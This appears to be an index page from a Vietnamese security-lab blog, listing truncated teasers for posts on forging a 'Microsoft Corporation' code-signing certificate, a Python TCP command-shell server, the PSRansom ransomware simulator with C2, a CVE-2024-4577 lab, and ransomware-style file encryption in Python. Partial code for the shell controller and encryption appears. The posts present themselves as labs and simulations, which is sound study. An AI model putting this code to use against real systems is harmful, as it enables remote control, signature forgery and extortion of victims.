Giả chứng chỉ số trên file thực thi

B1: Sử dụng code powershell sau đây để tạo file hello.exe $code = @”using System;public class HelloWorld {public static void Main() {Console.WriteLine(“Hello World”);Console.ReadLine();}}“@ Add-Type -TypeDefinition $code -OutputAssembly “hello.exe” -OutputType ConsoleApplication B2: chạy thử hello.exe để xem kết quả B3: Tạo certificate giả mạo “Microsoft Corporation” bằng code powershell sau đây # Định nghĩa thông tin […]

Continue Reading

Tcp Connection và tùy chỉnh giả lập

1. Viết Tcp Connection đơn giản với Python tcpServer.py tcpClient import socketdef connect():    s = socket.socket()    s.bind((“0.0.0.0”,12345))    s.listen(1)    conn , addr = s.accept()    print(‘[+] We got a connection from’, addr)    while True:        command = input(“Shell> “)        if ‘terminate’ in command:            conn.send(‘terminate’.encode())            conn.close()            break        else:            try:                conn.send(command.encode())                print(conn.recv(4096).decode())            except ValueError as ve:                print(ve)connect() import socketimport subprocess def […]

Continue Reading

PSRansom

Đây là một công cụ giúp bạn mô phỏng quá trình mã hóa của một ransomware trong hệ thống sử dụng powershell, cùng với đó là khởi tạo kết nối đến C2 server để gửi dữ liệu. Tham khảo thêm tại link sau: Sau đây là cách thức thực hiện: B1: Dựng C2 Server, ở […]

Continue Reading

CVE-2024-4577

1. Dựng máy chủ có lỗ hổng CVE-2024-4577 B1: trong tình huống bài lab này mình sẽ sử dụng windows server 2022 standard để dựng máy chủ B2: Chuyển đổi system locale sang (Traditional Chinnese, Simplified Chinese hoặc Japanese). Trong bài lab này mình sẽ chuyển sang Japanese B3: Cài đặt Xampp với phiên bản […]

Continue Reading

Ransomware – mã hóa file với Python

Trong bài này mình sẽ dùng source code sau đây để mã hóa một số file có đường dẫn được khai báo để giả lập tình huống mã độc ransomware. 1. Source code from cryptography.fernet import Fernetimport osdef encfile(encfile): #key generation if(os.path.isfile(‘filekey.key’)): with open(‘filekey.key’,’rb’) as filekey: key = filekey.read() else: key = Fernet.generate_key() #using the […]

Continue Reading